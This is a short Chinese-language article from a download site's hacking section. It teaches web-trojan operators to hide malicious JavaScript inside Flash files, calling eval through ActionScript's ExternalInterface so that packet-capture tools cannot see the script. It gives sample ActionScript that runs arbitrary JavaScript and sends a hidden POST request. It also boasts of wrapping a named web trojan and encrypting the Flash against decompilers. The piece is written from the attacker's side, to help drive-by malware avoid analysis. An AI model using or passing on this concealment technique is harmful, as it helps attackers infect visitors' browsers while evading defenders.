您的位置: 飞扬精品软件园 >> 文章中心 >> 安全防线 >> 黑客技术 >> 利用Flash封装网马

相关文章链接

本类文章排行

最新新闻资讯

    利用Flash封装网马

    利用Flash封装网马


    • 阅览次数: 文章来源: 原文作者: 整理日期: 2010-05-22

    利用Flash封装网马

    我们使用服务端技术保护网马,保护来保护去,网马的JS代码还是会被抓到,在那些浏览器抓包工具下,网马的JS暴露无遗,原理很简 单,网马再怎么通过判断(比如通过Cookie,IP,referer等)来保护自己,为了危害用户,总是要输出JS来给浏览器去执行,那么就会暴露网马 JS代码。那就没什么办法保护我们的网马JS代码了?有……

    我们使用Flash来封装网马,这样,使用Flash AS的扩展API:ExternalInterface类,这个类是AS与JS直接通信的最好方式,比如如下AS代码:

    import flash.external.*;
    ExternalInterface.call("eval","alert(document.domain);function ajax(){var request = false;if(window.XMLHttpRequest) {request = new XMLHttpRequest();} else if(window.ActiveXObject) {var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];for(var i=0; i<versions.length; i++) {try {request = new ActiveXObject(versions[i]);} catch(e) {}}}return request;}var xhr = ajax();function post_it(){var cmd = 'cmd=hi';xhr.open ('POST', 'create_cmd.php', false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.send(cmd);}post_it();");

    上面的代码原理是什么呢,ExternalInterface类的call方法可以直接使用Flash容器(这里是HTML页)的JS函数,它有两 个参数,第一个是要调用的JS函数名,第二个是被调用的JS函数要执行的参数。我们这里其实是劫持了eval函数,这是JS的内置函数,利用它可以执行任 意的JS代码。根据这个原理,我们可以将所有的JS代码封装在Flash文件中。

    G使用这个方法成功封装了06014网马,并对我们的Flash压缩加密保护,使用一般的Flash反编译软件是破解不了的,而且在网马的执行过程中,是无法通过浏览器抓包工具抓到网马的JS代码。这就起到了不错的保护作用:)。


查看所有评论

网友对利用Flash封装网马的评论

网名:
主题:
内容:
验证码: